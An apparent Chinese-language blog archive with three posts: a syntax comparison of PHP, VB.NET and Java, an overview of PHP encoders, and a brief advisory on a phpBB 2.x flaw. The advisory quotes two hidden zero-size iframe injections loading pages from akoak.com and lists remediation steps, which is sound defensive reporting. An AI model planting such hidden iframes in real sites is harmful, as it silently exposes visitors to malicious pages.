Category Archives: 網路

不同語言不同結構

本人最近使用 vb.net 來做功課,令我完全感受到當習慣了一種程式後要轉用其實實在十分困難。由於本人近幾年的網頁都是用 php 編寫,在學校中是使用 Java。在惱中已經習慣了 php 和 Java,所以在做這一個功課中經常加了其他的語言。
首先由最簡單的 Variable,在三類不同的語言都有三種不同的方法。
php 方面最為簡單:
var $variable_name
vb.net 方面可以分或不分 Variable 的種類:
Dim variable_name

Dim variable_name As String
至於 Java 方面必將定義 Variable 是什麼種類。
int variable_name
而 Class 和 Function 方面的結構分別是最大的。
php:
class ClassA{    function functionA ($v1, $v2){    }}
vb.net:
public Class ClassA    Public Function functionA (v1 as String, v2 as String) As Integer    End FunctionEnd Class
Java:
public class ClassA{    public Integer functionA(String v1, String v2){    }}
雖然是不同的結構,不過當您明白了其中一種語言後,要學習其他的都會比較容易的。若果是入門學習方面,我會建議大家首先學習 php。因為在 Variable [...]

把 php 檔案加密

在初學 php 時瀏灠到一些網站時發覺,為何 php 可以用來賣的呢?php 是一個只需要 coding ,不需用 compile 便可以執行。相比其他程式需要 compile,比較 security。若果 php 賣了比第一個人然後再翻給別人,那間公司便賣不了錢了。為何還有這麼多的公司寫 php 賣呢?
當初我是有很多個為什麼…
不過是近年對於 php 有更多的了解後,發現原來 php 是可以加密的。當然 php 本身不能夠把自已加密,不過需要一些外來的程式幫手。
首先是 ionCube 的產品 ionCube Standalone PHP Encoder。ionCube Standalone PHP Encoder 是一個完全獨立的加密和解密程式。在不需要伺服器安裝任何的程式的情況下解密已加密的 php 程式,只需要一個 Directory 中加入 Loaders for ionCube Encoded Files 的檔案便可以使用。
另一個便是由 Zend 公司的產品 Zend Encoder。Zend 這一間公司應該有大部份學習 php 的人仕都會認識,因為這便是制作和支援 php 的公司了。Zend Encoder 是用來把 php 程式加密。不過伺服器方面是必須安裝了 [...]

討論區程式漏洞

phpBB 由 2.x 開始至 2.0.11 開始有漏洞,這個漏洞可話是一個不小的漏洞來。這個漏洞可以令病毒由 phpBB 中進入伺服器,然後大事破壞。由於網主沒有更新 phpBB 程式,所以到處都可以看到有很多的討論區都被破壞。
由簡單的加入 html 程式碼,雖然不是什麼破壞,不過都會令網頁版面轉變。可以按以下的連結看看有幾多個討論區被破壞:
http://www.google.com.hk/search?hl=zh-TW&q=%22akoak.%2Bcom%22&meta=
在我瀏灠時發覺破壞的不止是 phpBB,而 Discuz 都發現。我想無論是那一個討論區程式,都需要盡早更新程式。被入侵的討論區會被加上:
<iframe src=http://www.akoak.com/tm/ban.htm width=0 height=0></iframe>

<iframe src=http://www.akoak.com/mf/1.htm width=0 height=0></iframe>
解決方法
1. 立即更新討論區程式2. 刪除有關 akoak.com 的連結。
估計
根據 whois akoak.com 得出的結果:
akoak.com 是在 http://www.bizcn.com 中申請的。
Billing Contact:  pid pig awjju@hotmail.com  131313113131313 fax: 131313113131313  ChengDu  ChengDu Sichuan 361004  cn
作者應該是中國人。